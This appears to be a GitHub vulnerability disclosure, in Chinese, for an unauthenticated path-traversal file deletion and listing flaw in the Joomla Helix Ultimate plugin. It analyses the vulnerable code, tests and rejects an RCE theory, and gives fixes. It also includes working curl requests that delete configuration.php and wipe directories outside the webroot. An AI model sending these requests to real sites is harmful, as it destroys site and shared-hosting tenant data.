Is4yev/CVE-2026-57830
GitHub: Is4yev/CVE-2026-57830
该项目披露并验证了 Joomla Helix Ultimate 组件中一处因缺失认证与路径过滤缺陷导致的未授权文件读取、删除及路径遍历漏洞。
Stars: 3 | Forks: 0
# Helix Ultimate Framework — 未授权路径遍历任意文件/文件夹读取+删除
**这是一个已确认的 DoS + 跨租户文件系统访问漏洞,而非 RCE。** 一种 RCE 升级理论
(删除 `configuration.php` 以重新暴露 Joomla 安装程序)已经过现场测试并被推翻——请参阅下文的“RCE
升级 — 已测试并被推翻”。在没有首先重新推导出真实的漏洞利用链之前,请勿在任何报告中将其表示为 RCE。
**严重程度升级(2026-07-06,二次审查):** `path` 参数并没有像初次评估的那样被安全地限制在 Joomla
webroot 内 — Joomla 的 `PATH` 输入过滤器不会拦截单个 `/../` 遍历组件,因此
此 bug 会触及(读取:完整目录列表;写入:删除文件或递归清除文件夹内容)
**Web 服务器用户能够访问的文件系统上的任何内容,而不仅仅是 Joomla 安装目录内的文件**。在
任何多个站点/租户作为同一 OS 用户的同级目录存在的共享主机布局中
(极其常见:cPanel “附加域”、共享系统用户的 Plesk 订阅、大多数廉价主机),
单个由 Helix Ultimate 驱动的站点允许匿名访客摧毁同一账户下的所有*其他*站点。
有关现场证明,请参阅下文的“路径遍历完全逃逸出 JPATH_ROOT”。
**组件:** JoomShaper Helix Ultimate Framework (`plg_system_helixultimate`),几乎所有 JoomShaper Joomla 模板(基于 Helix Ultimate)都捆绑了此组件。
**受影响版本:** 2.2.6 (GitHub `JoomShaper/helix-ultimate`,HEAD 截至 2026-07,最后推送于 2026-06-30)
**作者:** Amin İsayev / Proxima Cyber Security
## 概述
`plugins/system/helixultimate/src/Platform/Media.php` 通过 `helixultimate.php::onAfterRoute()` 中的 Joomla `com_ajax` 调度 hook 暴露了 `deleteMedia()`、`getFolders()` 和 `createFolder()`。这三个方法仅调用
`Session::checkToken()`(一种普通的 CSRF 检查,任何匿名访客自己的 session token 都能满足——该 token 可从站点主页的 HTML 中获取)——**完全没有 `authorise()` / 登录检查**。这与同一类中的同级
方法 `uploadMedia()` 不一致,后者正确地要求对 `com_templates` 具有 `core.edit` 权限。
由于这是一个**系统插件**,`onAfterRoute()` 在每次请求时都会触发,无论当前激活的是哪个模板——只要插件已安装并启用(对于任何使用基于 Helix Ultimate 的 JoomShaper 模板的站点,这是默认行为),就能触达该漏洞代码路径。
## 根本原因
`plugins/system/helixultimate/helixultimate.php`(约第 464-489 行):
```
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check
case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check
case 'view-media': Media::getFolders(); break; // NO authorise() check
case 'delete-media': Media::deleteMedia(); break; // NO authorise() check
case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check
}
}
}
```
`plugins/system/helixultimate/src/Platform/Media.php`:
```
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive
}
```
`$path` 经过了 Joomla 的 `PATH` 输入过滤器 (`InputFilter::cleanPath()`)。有两个独立的因素使其变得
危险:
1. **甚至不需要遍历**就能触及 webroot *内部*的任何内容——`path` 直接在
`JPATH_ROOT` 下解析,因此任何从根开始的绝对路径(`/configuration.php`、`/administrator/...`、`/media/...`)
都已经可以触达。
2. **遍历到 webroot 之上同样有效。** `cleanPath()` 的正则表达式
(`^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$`) 允许在开头的 `[A-Za-z0-9_/-]+` 数据块之后紧跟恰好一段
由点/连字符/字母数字字符组成的序列——而单个前导 `/` 就满足了这个开头的数据块,因此像 `/../sibling_dir` 这样的字符串能够顺利匹配:`/`(数据块 1),`..`
(允许的带点序列),`/sibling_dir`(普通的尾部片段)。该过滤器旨在拒绝*以*点
*开头*的新 `/…` 组件的片段,但从未预料到字符串的第一个字符之后直接紧跟的单个 `..`。链接 `../../..` 将无法存活(在第一个带点序列之后的每个后续 `/…` 片段都必须以非点字符开头)——因此逃逸被严格限制在 `JPATH_ROOT` 之上恰好 **一** 级目录,但该级别之下的所有内容(任意深度)随后都可以
正常访问,因为后续片段只是普通的非点路径组件。
## 影响
- **未授权删除** Joomla webroot 下的**任何单个文件** → 轻而易举地删除 `configuration.php` →
即刻导致站点全面瘫痪(“No configuration” 致命错误),仅需一个 HTTP 请求,零认证。
- **未授权递归删除任何文件夹** (`type=folder`) → 例如 `/administrator`、`/components`、
`/media` → 破坏性极大,可彻底摧毁安装。
- **通过 `view-media` (`Media::getFolders()`) 进行未授权信息泄露**:列出任何根相对路径下的所有图像文件、
所有子文件夹名称以及绝对服务器路径,无需认证(在下面用作*安全*检测信号)。
- **完全逃逸出 webroot(向上一级,然后从那里开始无限深度)** —— 可触及 Joomla 安装目录的同级目录。
在多个站点共享一个 OS 用户的共享主机上(cPanel 附加域、Plesk 订阅等),
*一个* Helix Ultimate 站点的匿名访客可以枚举并擦除同一账户下*所有其他*站点的文件。这将一个单站点的 bug 变成了整个服务器账户范围的爆炸半径。
- 未发现 RCE 升级——见下文。
## 实时验证 (2026-07-06)
针对一次性的 Docker 实例进行了测试(Joomla 5.4.6 + Helix Ultimate 插件 2.2.6,全新安装,完全
匿名的浏览器会话——无登录,除 Joomla 分发给每个访客的 cookie 外无其他 cookie):
```
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
```
## 路径遍历完全逃逸出 JPATH_ROOT — 现场证明 (2026-07-06)
在 Joomla webroot (`/var/www/canary_sibling`,`/var/www/html` 的同级目录) 旁边创建了一个同级目录,
由与 Web 服务器 (`www-data`) 相同的用户拥有,以模拟真实的共享主机布局,其中填充了
一个文件、一个图像和一个子目录:
```
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
```
对完全在 Joomla 安装目录**之外**的目录进行完整读取/枚举,包括解析出的绝对
服务器路径,且零认证。
```
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "=1"
```
结果:`canary_sibling` 内部的所有文件(普通文件、图像和子目录)都被删除了。只有
现已为空的顶级 `canary_sibling` 文件夹本身幸存下来,这仅仅是因为在这个实验环境中它直接位于
`/var/www` 下,归 `root` 所有——删除这个空目录条目需要对其*父目录*的写入权限,而 `www-data` 对 `/var/www` 没有此权限。在真实的共享主机布局中(例如
`/home/user/domains/siteA.com/public_html` 和 `/home/user/domains/siteB.com/public_html` 作为真正的同级目录,
从头到尾都归同一账户用户所有),最后一道屏障是不存在的,整个同级站点的目录树都是可被删除的。
## RCE 升级 — 已测试并被推翻 (2026-07-06)
显而易见的下一个理论是:在一个安装后从未移除 `installation/` 的站点上,删除
`configuration.php` 将使安装向导再次变得可访问,从而让攻击者完成安装并创建
一个新的超级用户。**这已经在实验室中直接进行了测试,但并不成立:**
1. 将 `installation/` 文件夹复制回 webroot(模拟一个忘记移除它的站点)——
此时 `configuration.php` 仍然存在且有效。
2. 结果:Joomla 自身的核心引导(在任何插件,包括有漏洞的插件运行之前)立即
开始针对**每一个请求**发出 `302 Found -> /installation/index.php`,包括漏洞利用本身对 `option=com_ajax&helix=ultimate&...&action=delete-media` 的 POST 请求。在此状态下,漏洞利用代码路径永远不会执行——Joomla 核心会首先短路一切操作。
3. 结果:这两种状态无法串联。
- 如果 `installation/` **存在**:该站点对于*任何*访客来说都已经完全开放并可被接管,
完全独立于这个漏洞——那是一个预先存在的、无关的 Joomla 配置错误,而不是
这个 bug 导致或需要的东西。
- 如果 `installation/` **不存在**(正常的、安全的状态):此漏洞只能*删除*文件,它
无法*创建*回 `installation/` 文件夹——没有办法从
一个仅限删除的原语重新暴露安装程序。
**结论:没有任何状态组合能将其变成 RCE。** 已确认的、客观的影响上限是
未授权、无条件、必然的全站 DoS(加上上面提到的未授权信息泄露)。
就其本身而言,这已经是一个严重级别的发现,不需要夸大的 RCE 声明。
## 更正:`createFolder()` 并非未授权可达(早期草稿有误)
本报告的一个早期版本声称 `Media::createFolder()` 也可以未授权访问(作为
删除/读取之外的第三个原语)。这是不正确的,并且在对插件的调度
连线进行全面检查后已进行了更正:
- `createFolder()`,以及代码库中真正的文件内容写入 sink(`Request.php`:`fwrite()`,
用于模板样式/web 字体/CSS 缓存文件的 `File::write()`),都位于
`plugins/system/helixultimate/src/Platform/Request.php` 中,仅通过
`Platform::handleRequest() <- onAfterRespond()` 进行调度。
- `onAfterRespond()` 明确要求 `$this->app->isClient('administrator')`,并且 `onAfterRoute()` 会在此点之前单独将
任何未登录的访客重定向离开。此路径确实需要管理员认证——
这是通过阅读确切的门控条件确认的,而不仅仅是依赖于方法本身内部没有调用 `authorise()`
(不同于站点前端的 `deleteMedia()`/`getFolders()`,它们确实没有任何门控)。
- `onAfterRoute()` 中的前端 (`isClient('site')`) switch 仅连接了五个操作:
`upload-blog-image`、`remove-blog-image`、`view-media` (`Media::getFolders`)、`delete-media`
(`Media::deleteMedia`)、`upload-media` (`Media::uploadMedia`,它确实检查了 `core.edit`/`com_templates`)。
`create-folder` 不在其中。
**最终确认的未授权能力集:仅限删除(文件或递归文件夹)+ 读取(文件夹/图像列表)。此插件中不存在任何未授权的内容写入原语。** 这正是
为什么即使专门寻找之后也没有发现 RCE 链的原因——RCE 从根本上需要一个写入原语,
而这类 bug 并不具备。
## 检测 PoC — `helix_ultimate_detect.py`
非破坏性。使用 `action=view-media`(文件夹/文件列表)作为证明信号——绝不删除任何内容。
## 漏洞利用 / DoS PoC — `helix_ultimate_delete_poc.py`(名称为了连续性而保留;仅确认 DoS)
破坏性。需要明确的 `--delete ` 才能触碰任何内容。`--rce` 标志会删除
`configuration.php` 并探测 `/installation/`,纯粹是为了*检查*该文件夹是否恰好已经
存在(在这种情况下,无论是否有此 bug,该站点都已经独立地完全暴露)——它并不代表
由此漏洞导致的真实升级;请参阅上面的“RCE 升级 — 已测试并被推翻”。仅在获得
书面授权后使用。
## 修复建议
需要两个独立的修复,仅应用其中一个就已经可以阻止此问题:
1. 在 `src/Platform/Media.php` 中,将 `uploadMedia()` 已经具有的相同授权检查添加到 `deleteMedia()` 和 `getFolders()` 中
——至少在执行任何文件系统操作之前,要求对 `com_templates`(或 `com_media`,与
`Blog::remove_image()` 的模式匹配)具有 `core.edit`/`core.delete` 权限。
2. 独立于认证,在
触碰文件系统之前,验证解析出的路径是否确实包含在 `JPATH_ROOT` 内——例如 `realpath(JPATH_ROOT . '/' . $path)` 并确认结果的 prefix 等于
`realpath(JPATH_ROOT)` —— `sppagebuilder_rce_patch.php` 中的 `com_sppagebuilder` 补丁草案针对一个无关的 bug 使用的也是相同的限制检查(参见 `CVE-2026-48909/sppage/`)。Joomla 的 `PATH` 输入过滤器不能替代此项检查——
它从未被为一种包含性保证,而仅仅是一种松散的“看起来像路径”的字符类检查。
*Amin İsayev / Proxima Cyber Security — 2026。仅限教育/授权测试用途。*
标签:Joomla, Maven, OpenVAS, PHP, Web安全, 安全漏洞, 漏洞验证, 蓝队分析, 请求拦截, 路径穿越